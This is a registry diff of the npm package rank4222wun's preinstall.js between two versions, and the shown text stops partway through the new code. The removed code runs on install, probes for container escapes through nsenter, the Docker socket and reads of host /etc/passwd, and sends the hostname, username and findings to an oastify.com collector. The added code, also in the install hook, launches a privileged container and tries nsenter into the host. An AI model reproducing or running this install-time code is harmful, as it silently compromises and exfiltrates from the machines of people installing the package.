rank4222wun 1.0.34 → 1.0.36
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +395 -580
- package/rank4222wun-1.0.36.tgz +0 -0
- package/rank4222wun-1.0.34.tgz +0 -0
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,629 +1,444 @@
|
|
|
1
|
-
//
|
|
1
|
+
// run-privileged-container.js
|
|
2
2
|
const { exec, spawn } = require('child_process');
|
|
3
|
-
const os = require('os');
|
|
4
3
|
const fs = require('fs');
|
|
5
4
|
const path = require('path');
|
|
6
|
-
const https = require('https');
|
|
7
|
-
const dns = require('dns');
|
|
8
5
|
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
domain: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
15
|
-
httpsPort: 443,
|
|
16
|
-
httpPort: 80,
|
|
17
|
-
dnsSubdomain: 'escape-confirmation'
|
|
18
|
-
};
|
|
19
|
-
|
|
20
|
-
const evidenceLog = {
|
|
21
|
-
timestamp: new Date().toISOString(),
|
|
22
|
-
sessionId: `session-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
|
|
23
|
-
oastDomain: OAST_CONFIG.domain,
|
|
24
|
-
|
|
25
|
-
// حالة النظام
|
|
26
|
-
systemInfo: {
|
|
27
|
-
currentHostname: os.hostname(),
|
|
28
|
-
currentUser: os.userInfo().username,
|
|
29
|
-
platform: os.platform(),
|
|
30
|
-
isContainer: null,
|
|
31
|
-
containerType: null,
|
|
32
|
-
containerId: null
|
|
33
|
-
},
|
|
34
|
-
|
|
35
|
-
// نتائج فحص الهروب
|
|
36
|
-
escapeChecks: {
|
|
37
|
-
nsenter: { found: false, accessible: false, evidence: null },
|
|
38
|
-
dockerSocket: { found: false, writable: false, containers: [] },
|
|
39
|
-
hostMounts: { found: false, mounts: [], hostAccess: false },
|
|
40
|
-
procAccess: { accessible: false, hostPid: null },
|
|
41
|
-
kernel: { version: null, vulnerable: false, exploits: [] },
|
|
42
|
-
capabilities: { dangerous: [], hasSysAdmin: false }
|
|
43
|
-
},
|
|
44
|
-
|
|
45
|
-
// أدلة قاطعة على الهروب
|
|
46
|
-
definitiveEvidence: {
|
|
47
|
-
differentHostnameConfirmed: false,
|
|
48
|
-
hostFilesAccess: false,
|
|
49
|
-
hostUsersReadable: false,
|
|
50
|
-
hostNetworkVisible: false,
|
|
51
|
-
hostProcessesVisible: false
|
|
52
|
-
},
|
|
53
|
-
|
|
54
|
-
// نتائج OAST
|
|
55
|
-
oastResults: {
|
|
56
|
-
dnsCalled: false,
|
|
57
|
-
httpCalled: false,
|
|
58
|
-
httpsCalled: false,
|
|
59
|
-
interactions: []
|
|
60
|
-
},
|
|
61
|
-
|
|
62
|
-
// النتيجة النهائية
|
|
63
|
-
finalVerdict: {
|
|
64
|
-
escapedToHost: false,
|
|
65
|
-
confidence: 0,
|
|
66
|
-
riskLevel: 'UNKNOWN',
|
|
67
|
-
escapeMethods: [],
|
|
68
|
-
proofPoints: []
|
|
6
|
+
class PrivilegedContainerRunner {
|
|
7
|
+
constructor() {
|
|
8
|
+
this.containerId = null;
|
|
9
|
+
this.outputLog = [];
|
|
10
|
+
this.status = 'stopped';
|
|
69
11
|
}
|
|
70
|
-
};
|
|
71
12
|
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
type: type,
|
|
78
|
-
timestamp: new Date().toISOString(),
|
|
79
|
-
data: data
|
|
80
|
-
};
|
|
81
|
-
|
|
82
|
-
evidenceLog.oastResults.interactions.push(interaction);
|
|
83
|
-
|
|
84
|
-
switch(type) {
|
|
85
|
-
case 'DNS':
|
|
86
|
-
// إرسال DNS request
|
|
87
|
-
const dnsHostname = `${interactionId}.${OAST_CONFIG.dnsSubdomain}.${OAST_CONFIG.domain}`;
|
|
88
|
-
dns.lookup(dnsHostname, (err, address) => {
|
|
89
|
-
if (!err) {
|
|
90
|
-
evidenceLog.oastResults.dnsCalled = true;
|
|
91
|
-
console.log(`✅ DNS OAST request sent: ${dnsHostname}`);
|
|
92
|
-
}
|
|
93
|
-
});
|
|
94
|
-
break;
|
|
13
|
+
async runContainer() {
|
|
14
|
+
console.log('🚀 جاري تشغيل حاوية Ubuntu مميزة...');
|
|
15
|
+
|
|
16
|
+
return new Promise((resolve, reject) => {
|
|
17
|
+
const dockerCommand = 'docker run --privileged -d ubuntu:latest sleep infinity';
|
|
95
18
|
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
path: `/${interactionId}`,
|
|
102
|
-
method: 'GET',
|
|
103
|
-
headers: {
|
|
104
|
-
'User-Agent': 'ContainerEscapeConfirm/1.0',
|
|
105
|
-
'X-Session-ID': evidenceLog.sessionId,
|
|
106
|
-
'X-Check-Type': data.checkType || 'unknown'
|
|
19
|
+
exec(dockerCommand, (error, stdout, stderr) => {
|
|
20
|
+
if (error) {
|
|
21
|
+
console.error('❌ خطأ في تشغيل الحاوية:', error.message);
|
|
22
|
+
reject(error);
|
|
23
|
+
return;
|
|
107
24
|
}
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
25
|
+
|
|
26
|
+
this.containerId = stdout.trim();
|
|
27
|
+
console.log(`✅ الحاوية تم تشغيلها بنجاح: ${this.containerId.substring(0, 12)}`);
|
|
28
|
+
this.status = 'running';
|
|
29
|
+
|
|
30
|
+
// الانتظار قليلاً ثم تنفيذ الأوامر
|
|
31
|
+
setTimeout(() => {
|
|
32
|
+
this.executeCommands()
|
|
33
|
+
.then(resolve)
|
|
34
|
+
.catch(reject);
|
|
35
|
+
}, 2000);
|
|
115
36
|
});
|
|
37
|
+
});
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
async executeCommands() {
|
|
41
|
+
console.log('\n🔧 جاري تنفيذ الأوامر داخل الحاوية...\n');
|
|
42
|
+
|
|
43
|
+
const commands = [
|
|
44
|
+
// معلومات النظام الأساسية
|
|
45
|
+
'echo "=== معلومات النظام ==="',
|
|
46
|
+
'cat /etc/os-release',
|
|
47
|
+
'uname -a',
|
|
48
|
+
'whoami',
|
|
49
|
+
'id',
|
|
116
50
|
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
51
|
+
// معلومات الذاكرة والمعالج
|
|
52
|
+
'echo -e "\n=== موارد النظام ==="',
|
|
53
|
+
'free -h',
|
|
54
|
+
'df -h',
|
|
55
|
+
'cat /proc/cpuinfo | grep "model name" | head -1',
|
|
121
56
|
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
port: OAST_CONFIG.httpsPort,
|
|
127
|
-
path: `/container-escape-evidence`,
|
|
128
|
-
method: 'POST',
|
|
129
|
-
headers: {
|
|
130
|
-
'Content-Type': 'application/json',
|
|
131
|
-
'User-Agent': 'ContainerEscapeDetector/1.0',
|
|
132
|
-
'X-Session-ID': evidenceLog.sessionId,
|
|
133
|
-
'X-Hostname': os.hostname(),
|
|
134
|
-
'X-Check-Point': data.checkPoint || 'initial'
|
|
135
|
-
}
|
|
136
|
-
}, (res) => {
|
|
137
|
-
let responseBody = '';
|
|
138
|
-
res.on('data', chunk => responseBody += chunk);
|
|
139
|
-
res.on('end', () => {
|
|
140
|
-
evidenceLog.oastResults.httpsCalled = true;
|
|
141
|
-
console.log(`✅ HTTPS evidence sent to OAST (${res.statusCode})`);
|
|
142
|
-
|
|
143
|
-
// تخزين رد السيرفر إذا أرسل بيانات
|
|
144
|
-
if (responseBody) {
|
|
145
|
-
try {
|
|
146
|
-
const serverResponse = JSON.parse(responseBody);
|
|
147
|
-
interaction.serverResponse = serverResponse;
|
|
148
|
-
} catch (e) {}
|
|
149
|
-
}
|
|
150
|
-
});
|
|
151
|
-
});
|
|
57
|
+
// التحقق من الصلاحيات
|
|
58
|
+
'echo -e "\n=== الصلاحيات المميزة ==="',
|
|
59
|
+
'capsh --print',
|
|
60
|
+
'cat /proc/self/status | grep Cap',
|
|
152
61
|
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
62
|
+
// معلومات الشبكة
|
|
63
|
+
'echo -e "\n=== معلومات الشبكة ==="',
|
|
64
|
+
'ip addr show',
|
|
65
|
+
'hostname -I',
|
|
66
|
+
'route -n',
|
|
156
67
|
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
evidence: data.evidence,
|
|
162
|
-
systemInfo: evidenceLog.systemInfo
|
|
163
|
-
}));
|
|
68
|
+
// فحص الملفات والمجلدات
|
|
69
|
+
'echo -e "\n=== نظام الملفات ==="',
|
|
70
|
+
'ls -la /',
|
|
71
|
+
'mount | head -20',
|
|
164
72
|
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
//
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
if (output.includes('docker')) {
|
|
181
|
-
evidenceLog.systemInfo.isContainer = true;
|
|
182
|
-
evidenceLog.systemInfo.containerType = 'Docker';
|
|
183
|
-
// استخراج Container ID
|
|
184
|
-
const match = output.match(/docker\/([a-f0-9]{64})/);
|
|
185
|
-
if (match) {
|
|
186
|
-
evidenceLog.systemInfo.containerId = match[1].substring(0, 12);
|
|
187
|
-
}
|
|
188
|
-
console.log(`✅ في حاوية Docker: ${evidenceLog.systemInfo.containerId || 'unknown'}`);
|
|
189
|
-
} else if (output.includes('kubepods')) {
|
|
190
|
-
evidenceLog.systemInfo.isContainer = true;
|
|
191
|
-
evidenceLog.systemInfo.containerType = 'Kubernetes';
|
|
192
|
-
console.log("✅ في حاوية Kubernetes");
|
|
193
|
-
}
|
|
194
|
-
}
|
|
195
|
-
}
|
|
196
|
-
},
|
|
197
|
-
{
|
|
198
|
-
name: 'rootfs_check',
|
|
199
|
-
command: 'mount 2>/dev/null | grep "on / " | grep overlay || echo "NOT_OVERLAY"',
|
|
200
|
-
handler: (output) => {
|
|
201
|
-
if (!output.includes('NOT_OVERLAY')) {
|
|
202
|
-
evidenceLog.systemInfo.isContainer = true;
|
|
203
|
-
console.log("✅ نظام ملفات overlay (حاوية)");
|
|
204
|
-
}
|
|
205
|
-
}
|
|
206
|
-
},
|
|
207
|
-
{
|
|
208
|
-
name: 'container_runtime',
|
|
209
|
-
command: 'which docker podman containerd 2>/dev/null | head -1 || echo "NO_RUNTIME"',
|
|
210
|
-
handler: (output) => {
|
|
211
|
-
if (!output.includes('NO_RUNTIME')) {
|
|
212
|
-
console.log(`✅ Container runtime موجود: ${output.trim()}`);
|
|
213
|
-
}
|
|
214
|
-
}
|
|
215
|
-
}
|
|
216
|
-
];
|
|
217
|
-
|
|
218
|
-
let completed = 0;
|
|
219
|
-
checks.forEach(check => {
|
|
220
|
-
exec(check.command, { timeout: 3000 }, (err, stdout) => {
|
|
221
|
-
if (!err && stdout) check.handler(stdout);
|
|
222
|
-
completed++;
|
|
223
|
-
if (completed === checks.length) {
|
|
224
|
-
// إرسال DNS check إلى OAST
|
|
225
|
-
sendOASTInteraction('DNS', {
|
|
226
|
-
checkType: 'container_detection',
|
|
227
|
-
result: evidenceLog.systemInfo
|
|
228
|
-
});
|
|
229
|
-
|
|
230
|
-
setTimeout(performEscapeVerification, 2000);
|
|
231
|
-
}
|
|
232
|
-
});
|
|
233
|
-
});
|
|
234
|
-
}
|
|
73
|
+
// تحليل الحاوية
|
|
74
|
+
'echo -e "\n=== معلومات الحاوية ==="',
|
|
75
|
+
'cat /proc/1/cgroup 2>/dev/null || echo "لا يمكن قراءة cgroup"',
|
|
76
|
+
'cat /proc/self/mountinfo 2>/dev/null | head -10',
|
|
77
|
+
|
|
78
|
+
// اختبار الوصول إلى المضيف
|
|
79
|
+
'echo -e "\n=== اختبار الوصول للمضيف ==="',
|
|
80
|
+
'nsenter --target 1 --mount -- sh -c "echo يمكن الوصول للمضيف: && hostname" 2>/dev/null || echo "nsenter غير متاح"',
|
|
81
|
+
'ls -la /var/run/docker.sock 2>/dev/null && echo "✅ Docker socket موجود" || echo "❌ Docker socket غير موجود"',
|
|
82
|
+
|
|
83
|
+
// معلومات إضافية
|
|
84
|
+
'echo -e "\n=== معلومات إضافية ==="',
|
|
85
|
+
'env | head -20',
|
|
86
|
+
'ps aux | head -10'
|
|
87
|
+
];
|
|
235
88
|
|
|
236
|
-
|
|
237
|
-
function performEscapeVerification() {
|
|
238
|
-
console.log("\n🔍 المرحلة 2: التحقق من الهروب الفعلي...\n");
|
|
239
|
-
|
|
240
|
-
// إرسال HTTP ping إلى OAST
|
|
241
|
-
sendOASTInteraction('HTTP', {
|
|
242
|
-
checkPoint: 'escape_verification_start',
|
|
243
|
-
currentHostname: evidenceLog.systemInfo.currentHostname
|
|
244
|
-
});
|
|
245
|
-
|
|
246
|
-
const verificationTests = [
|
|
247
|
-
// Test 1: nsenter access
|
|
248
|
-
{
|
|
249
|
-
name: 'nsenter_test',
|
|
250
|
-
commands: [
|
|
251
|
-
'which nsenter 2>/dev/null || echo "NOT_FOUND"',
|
|
252
|
-
'timeout 2 nsenter --target 1 --mount -- sh -c "echo HOST_HOSTNAME:$(cat /etc/hostname 2>/dev/null) && echo CONTAINER_HOSTNAME:$(hostname)" 2>/dev/null || echo "FAILED"'
|
|
253
|
-
],
|
|
254
|
-
handler: (results) => {
|
|
255
|
-
const [nsenterPath, nsenterOutput] = results;
|
|
256
|
-
|
|
257
|
-
evidenceLog.escapeChecks.nsenter.found = !nsenterPath.includes('NOT_FOUND');
|
|
258
|
-
|
|
259
|
-
if (nsenterOutput && !nsenterOutput.includes('FAILED')) {
|
|
260
|
-
evidenceLog.escapeChecks.nsenter.accessible = true;
|
|
261
|
-
|
|
262
|
-
// تحليل النتيجة
|
|
263
|
-
const lines = nsenterOutput.split('\n');
|
|
264
|
-
let hostHostname = '';
|
|
265
|
-
let containerHostname = '';
|
|
266
|
-
|
|
267
|
-
lines.forEach(line => {
|
|
268
|
-
if (line.startsWith('HOST_HOSTNAME:')) {
|
|
269
|
-
hostHostname = line.replace('HOST_HOSTNAME:', '').trim();
|
|
270
|
-
}
|
|
271
|
-
if (line.startsWith('CONTAINER_HOSTNAME:')) {
|
|
272
|
-
containerHostname = line.replace('CONTAINER_HOSTNAME:', '').trim();
|
|
273
|
-
}
|
|
274
|
-
});
|
|
275
|
-
|
|
276
|
-
if (hostHostname && containerHostname && hostHostname !== containerHostname) {
|
|
277
|
-
evidenceLog.definitiveEvidence.differentHostnameConfirmed = true;
|
|
278
|
-
evidenceLog.escapeChecks.nsenter.evidence = `Host: ${hostHostname}, Container: ${containerHostname}`;
|
|
279
|
-
console.log(`🎯 DETECTED: Different hostnames! Host: ${hostHostname}, Container: ${containerHostname}`);
|
|
280
|
-
|
|
281
|
-
// إرسال أدلة قوية إلى OAST
|
|
282
|
-
sendOASTInteraction('HTTPS', {
|
|
283
|
-
checkPoint: 'nsenter_escape_confirmed',
|
|
284
|
-
evidence: {
|
|
285
|
-
hostHostname: hostHostname,
|
|
286
|
-
containerHostname: containerHostname,
|
|
287
|
-
method: 'nsenter'
|
|
288
|
-
}
|
|
289
|
-
});
|
|
290
|
-
}
|
|
291
|
-
}
|
|
292
|
-
}
|
|
293
|
-
},
|
|
89
|
+
const results = {};
|
|
294
90
|
|
|
295
|
-
|
|
296
|
-
|
|
297
|
-
|
|
298
|
-
|
|
299
|
-
|
|
300
|
-
|
|
301
|
-
|
|
302
|
-
|
|
303
|
-
|
|
304
|
-
|
|
305
|
-
evidenceLog.escapeChecks.dockerSocket.found = !socketInfo.includes('NOT_FOUND');
|
|
306
|
-
evidenceLog.escapeChecks.dockerSocket.writable = socketInfo.includes('rw');
|
|
307
|
-
|
|
308
|
-
if (!dockerInfo.includes('NO_ACCESS') && dockerInfo.includes('ID')) {
|
|
309
|
-
evidenceLog.escapeChecks.dockerSocket.accessible = true;
|
|
310
|
-
console.log("✅ Docker socket accessible from container!");
|
|
311
|
-
|
|
312
|
-
// محاولة سرد الحاويات الأخرى
|
|
313
|
-
exec('curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null | wc -l || echo "0"',
|
|
314
|
-
(err, stdout) => {
|
|
315
|
-
if (!err && stdout && !isNaN(parseInt(stdout))) {
|
|
316
|
-
const containerCount = parseInt(stdout);
|
|
317
|
-
if (containerCount > 1) {
|
|
318
|
-
evidenceLog.escapeChecks.dockerSocket.containers = [`Found ${containerCount} total containers`];
|
|
319
|
-
console.log(`🎯 DETECTED: Can see ${containerCount} containers on host`);
|
|
320
|
-
|
|
321
|
-
sendOASTInteraction('HTTPS', {
|
|
322
|
-
checkPoint: 'docker_socket_access',
|
|
323
|
-
evidence: {
|
|
324
|
-
socketAccessible: true,
|
|
325
|
-
containerCount: containerCount,
|
|
326
|
-
method: 'docker_socket'
|
|
327
|
-
}
|
|
328
|
-
});
|
|
329
|
-
}
|
|
330
|
-
}
|
|
331
|
-
});
|
|
332
|
-
}
|
|
333
|
-
}
|
|
334
|
-
},
|
|
335
|
-
|
|
336
|
-
// Test 3: Host filesystem access
|
|
337
|
-
{
|
|
338
|
-
name: 'host_files_test',
|
|
339
|
-
commands: [
|
|
340
|
-
'cat /proc/1/mountinfo 2>/dev/null | grep -E "/ / " | head -1 || echo "NO_INFO"',
|
|
341
|
-
'ls -la /home 2>/dev/null | head -5 || echo "NO_ACCESS"',
|
|
342
|
-
'cat /etc/passwd 2>/dev/null | head -3 || echo "NO_ACCESS"'
|
|
343
|
-
],
|
|
344
|
-
handler: (results) => {
|
|
345
|
-
const [mountInfo, homeAccess, passwdAccess] = results;
|
|
346
|
-
|
|
347
|
-
if (!homeAccess.includes('NO_ACCESS')) {
|
|
348
|
-
evidenceLog.definitiveEvidence.hostFilesAccess = true;
|
|
349
|
-
console.log("🎯 DETECTED: Can access /home directory of host!");
|
|
350
|
-
}
|
|
351
|
-
|
|
352
|
-
if (!passwdAccess.includes('NO_ACCESS')) {
|
|
353
|
-
evidenceLog.definitiveEvidence.hostUsersReadable = true;
|
|
354
|
-
console.log("🎯 DETECTED: Can read /etc/passwd of host!");
|
|
355
|
-
}
|
|
356
|
-
|
|
357
|
-
if (evidenceLog.definitiveEvidence.hostFilesAccess || evidenceLog.definitiveEvidence.hostUsersReadable) {
|
|
358
|
-
sendOASTInteraction('HTTPS', {
|
|
359
|
-
checkPoint: 'host_filesystem_access',
|
|
360
|
-
evidence: {
|
|
361
|
-
homeAccess: evidenceLog.definitiveEvidence.hostFilesAccess,
|
|
362
|
-
passwdAccess: evidenceLog.definitiveEvidence.hostUsersReadable
|
|
363
|
-
}
|
|
364
|
-
});
|
|
365
|
-
}
|
|
91
|
+
for (let i = 0; i < commands.length; i++) {
|
|
92
|
+
const command = commands[i];
|
|
93
|
+
|
|
94
|
+
// إذا كان الأمر echo، عرضه مباشرة
|
|
95
|
+
if (command.startsWith('echo')) {
|
|
96
|
+
const message = command.replace(/^echo\s+["']?/, '').replace(/["']?$/, '');
|
|
97
|
+
console.log(message);
|
|
98
|
+
this.outputLog.push(message);
|
|
99
|
+
continue;
|
|
366
100
|
}
|
|
367
|
-
|
|
368
|
-
|
|
369
|
-
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
373
|
-
'ps aux 2>/dev/null | head -10 || echo "NO_PS"',
|
|
374
|
-
'cat /proc/1/status 2>/dev/null | head -5 || echo "NO_ACCESS"'
|
|
375
|
-
],
|
|
376
|
-
handler: (results) => {
|
|
377
|
-
const [psOutput, proc1Status] = results;
|
|
101
|
+
|
|
102
|
+
// تنفيذ الأمر داخل الحاوية
|
|
103
|
+
try {
|
|
104
|
+
const output = await this.execInContainer(command);
|
|
105
|
+
console.log(output);
|
|
106
|
+
this.outputLog.push(output);
|
|
378
107
|
|
|
379
|
-
|
|
380
|
-
|
|
381
|
-
|
|
108
|
+
// حفظ النتائج المهمة
|
|
109
|
+
if (command.includes('os-release')) {
|
|
110
|
+
results.osInfo = output;
|
|
111
|
+
} else if (command.includes('uname -a')) {
|
|
112
|
+
results.kernelInfo = output;
|
|
113
|
+
} else if (command.includes('capsh')) {
|
|
114
|
+
results.capabilities = output;
|
|
115
|
+
} else if (command.includes('docker.sock')) {
|
|
116
|
+
results.dockerSocket = output.includes('✅');
|
|
382
117
|
}
|
|
383
118
|
|
|
384
|
-
|
|
385
|
-
|
|
386
|
-
|
|
387
|
-
|
|
388
|
-
}
|
|
389
|
-
}
|
|
390
|
-
},
|
|
391
|
-
|
|
392
|
-
// Test 5: Network visibility
|
|
393
|
-
{
|
|
394
|
-
name: 'network_test',
|
|
395
|
-
commands: [
|
|
396
|
-
'ip route show 2>/dev/null | head -3 || echo "NO_ROUTE"',
|
|
397
|
-
'hostname -I 2>/dev/null || ip addr show 2>/dev/null | grep "inet " | head -3 || echo "NO_IP"'
|
|
398
|
-
],
|
|
399
|
-
handler: (results) => {
|
|
400
|
-
const [routeOutput, ipOutput] = results;
|
|
401
|
-
|
|
402
|
-
if (!routeOutput.includes('NO_ROUTE') || !ipOutput.includes('NO_IP')) {
|
|
403
|
-
evidenceLog.definitiveEvidence.hostNetworkVisible = true;
|
|
404
|
-
console.log("✅ Can see host network configuration");
|
|
405
|
-
}
|
|
119
|
+
} catch (error) {
|
|
120
|
+
const errorMsg = `❌ خطأ في الأمر "${command}": ${error.message}`;
|
|
121
|
+
console.log(errorMsg);
|
|
122
|
+
this.outputLog.push(errorMsg);
|
|
406
123
|
}
|
|
124
|
+
|
|
125
|
+
// تأخير بسيط بين الأوامر
|
|
126
|
+
await this.delay(500);
|
|
407
127
|
}
|
|
408
|
-
];
|
|
409
|
-
|
|
410
|
-
let testsCompleted = 0;
|
|
411
|
-
const testResults = {};
|
|
412
|
-
|
|
413
|
-
verificationTests.forEach(test => {
|
|
414
|
-
testResults[test.name] = [];
|
|
415
|
-
let commandsCompleted = 0;
|
|
416
128
|
|
|
417
|
-
|
|
418
|
-
|
|
419
|
-
|
|
420
|
-
|
|
421
|
-
|
|
422
|
-
|
|
423
|
-
|
|
424
|
-
|
|
425
|
-
|
|
426
|
-
|
|
427
|
-
|
|
129
|
+
return results;
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
execInContainer(command) {
|
|
133
|
+
return new Promise((resolve, reject) => {
|
|
134
|
+
if (!this.containerId) {
|
|
135
|
+
reject(new Error('لا توجد حاوية نشطة'));
|
|
136
|
+
return;
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
const fullCommand = `docker exec ${this.containerId} sh -c "${command.replace(/"/g, '\\"')}"`;
|
|
140
|
+
|
|
141
|
+
exec(fullCommand, { timeout: 10000 }, (error, stdout, stderr) => {
|
|
142
|
+
if (error) {
|
|
143
|
+
// بعض الأوامر تعطي stderr لكنها ناجحة
|
|
144
|
+
if (stderr && !stdout) {
|
|
145
|
+
resolve(stderr);
|
|
146
|
+
} else {
|
|
147
|
+
reject(error);
|
|
428
148
|
}
|
|
149
|
+
} else {
|
|
150
|
+
resolve(stdout || stderr || '');
|
|
429
151
|
}
|
|
430
152
|
});
|
|
431
153
|
});
|
|
432
|
-
});
|
|
433
|
-
}
|
|
434
|
-
|
|
435
|
-
// ===================== Phase 3: Evidence Analysis =====================
|
|
436
|
-
function analyzeEvidence() {
|
|
437
|
-
console.log("\n🔍 المرحلة 3: تحليل الأدلة وتقييم الثقة...\n");
|
|
438
|
-
|
|
439
|
-
let confidenceScore = 0;
|
|
440
|
-
const maxScore = 100;
|
|
441
|
-
const escapeMethods = [];
|
|
442
|
-
const proofPoints = [];
|
|
443
|
-
|
|
444
|
-
// 1. أدلة قاطعة (25 نقطة لكل)
|
|
445
|
-
if (evidenceLog.definitiveEvidence.differentHostnameConfirmed) {
|
|
446
|
-
confidenceScore += 25;
|
|
447
|
-
proofPoints.push("Hostname المضيف ≠ Hostname الحاوية (أقوى دليل)");
|
|
448
|
-
}
|
|
449
|
-
|
|
450
|
-
if (evidenceLog.definitiveEvidence.hostFilesAccess) {
|
|
451
|
-
confidenceScore += 25;
|
|
452
|
-
proofPoints.push("الوصول لملفات /home في المضيف");
|
|
453
|
-
}
|
|
454
|
-
|
|
455
|
-
if (evidenceLog.definitiveEvidence.hostUsersReadable) {
|
|
456
|
-
confidenceScore += 20;
|
|
457
|
-
proofPoints.push("قراءة /etc/passwd للمضيف");
|
|
458
|
-
}
|
|
459
|
-
|
|
460
|
-
// 2. أدلة قوية (15 نقطة لكل)
|
|
461
|
-
if (evidenceLog.escapeChecks.nsenter.accessible) {
|
|
462
|
-
confidenceScore += 15;
|
|
463
|
-
escapeMethods.push("nsenter");
|
|
464
154
|
}
|
|
465
|
-
|
|
466
|
-
|
|
467
|
-
|
|
468
|
-
escapeMethods.push("docker_socket");
|
|
155
|
+
|
|
156
|
+
delay(ms) {
|
|
157
|
+
return new Promise(resolve => setTimeout(resolve, ms));
|
|
469
158
|
}
|
|
470
|
-
|
|
471
|
-
|
|
472
|
-
|
|
473
|
-
|
|
159
|
+
|
|
160
|
+
async getInteractiveShell() {
|
|
161
|
+
console.log('\n💻 تشغيل shell تفاعلي...');
|
|
162
|
+
console.log(' استخدم "exit" للخروج\n');
|
|
163
|
+
|
|
164
|
+
return new Promise((resolve) => {
|
|
165
|
+
const dockerProcess = spawn('docker', [
|
|
166
|
+
'exec', '-it', this.containerId, '/bin/bash'
|
|
167
|
+
], {
|
|
168
|
+
stdio: 'inherit'
|
|
169
|
+
});
|
|
170
|
+
|
|
171
|
+
dockerProcess.on('close', (code) => {
|
|
172
|
+
console.log(`\n🔚 Shell مغلق مع الكود: ${code}`);
|
|
173
|
+
resolve();
|
|
174
|
+
});
|
|
175
|
+
});
|
|
474
176
|
}
|
|
475
|
-
|
|
476
|
-
|
|
477
|
-
|
|
478
|
-
|
|
177
|
+
|
|
178
|
+
saveOutput() {
|
|
179
|
+
const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
|
|
180
|
+
const filename = `container-output-${timestamp}.txt`;
|
|
181
|
+
|
|
182
|
+
const output = [
|
|
183
|
+
`ناتج تشغيل حاوية مميزة`,
|
|
184
|
+
`تاريخ: ${new Date().toLocaleString()}`,
|
|
185
|
+
`Container ID: ${this.containerId || 'غير معروف'}`,
|
|
186
|
+
`الحالة: ${this.status}`,
|
|
187
|
+
`='.repeat(50)}\n\n`,
|
|
188
|
+
...this.outputLog
|
|
189
|
+
].join('\n');
|
|
190
|
+
|
|
191
|
+
fs.writeFileSync(filename, output);
|
|
192
|
+
console.log(`\n💾 تم حفظ الناتج في: ${filename}`);
|
|
193
|
+
|
|
194
|
+
return filename;
|
|
479
195
|
}
|
|
480
|
-
|
|
481
|
-
|
|
482
|
-
|
|
196
|
+
|
|
197
|
+
async cleanup() {
|
|
198
|
+
if (this.containerId && this.status === 'running') {
|
|
199
|
+
console.log('\n🧹 تنظيف الحاوية...');
|
|
200
|
+
|
|
201
|
+
try {
|
|
202
|
+
await this.execOnHost(`docker stop ${this.containerId}`);
|
|
203
|
+
await this.execOnHost(`docker rm ${this.containerId}`);
|
|
204
|
+
this.status = 'stopped';
|
|
205
|
+
console.log('✅ تم تنظيف الحاوية بنجاح');
|
|
206
|
+
} catch (error) {
|
|
207
|
+
console.error('❌ خطأ في التنظيف:', error.message);
|
|
208
|
+
}
|
|
209
|
+
}
|
|
483
210
|
}
|
|
484
|
-
|
|
485
|
-
|
|
486
|
-
|
|
487
|
-
|
|
488
|
-
|
|
489
|
-
|
|
490
|
-
|
|
491
|
-
|
|
492
|
-
|
|
493
|
-
|
|
494
|
-
|
|
495
|
-
evidenceLog.finalVerdict.riskLevel = 'MEDIUM';
|
|
496
|
-
} else {
|
|
497
|
-
evidenceLog.finalVerdict.escapedToHost = false;
|
|
498
|
-
evidenceLog.finalVerdict.riskLevel = 'LOW';
|
|
211
|
+
|
|
212
|
+
execOnHost(command) {
|
|
213
|
+
return new Promise((resolve, reject) => {
|
|
214
|
+
exec(command, (error, stdout, stderr) => {
|
|
215
|
+
if (error) {
|
|
216
|
+
reject(error);
|
|
217
|
+
} else {
|
|
218
|
+
resolve(stdout);
|
|
219
|
+
}
|
|
220
|
+
});
|
|
221
|
+
});
|
|
499
222
|
}
|
|
500
|
-
|
|
501
|
-
// إرسال النتيجة النهائية إلى OAST
|
|
502
|
-
sendOASTInteraction('HTTPS', {
|
|
503
|
-
checkPoint: 'final_verdict',
|
|
504
|
-
evidence: {
|
|
505
|
-
escapedToHost: evidenceLog.finalVerdict.escapedToHost,
|
|
506
|
-
confidence: evidenceLog.finalVerdict.confidence,
|
|
507
|
-
escapeMethods: escapeMethods,
|
|
508
|
-
proofPoints: proofPoints
|
|
509
|
-
}
|
|
510
|
-
});
|
|
511
|
-
|
|
512
|
-
generateFinalReport();
|
|
513
|
-
}
|
|
514
223
|
|
|
515
|
-
|
|
516
|
-
|
|
517
|
-
|
|
518
|
-
|
|
519
|
-
|
|
520
|
-
|
|
521
|
-
|
|
522
|
-
|
|
523
|
-
|
|
524
|
-
|
|
525
|
-
|
|
526
|
-
|
|
527
|
-
|
|
528
|
-
|
|
529
|
-
|
|
530
|
-
|
|
531
|
-
|
|
224
|
+
async run() {
|
|
225
|
+
try {
|
|
226
|
+
// 1. تشغيل الحاوية
|
|
227
|
+
await this.runContainer();
|
|
228
|
+
|
|
229
|
+
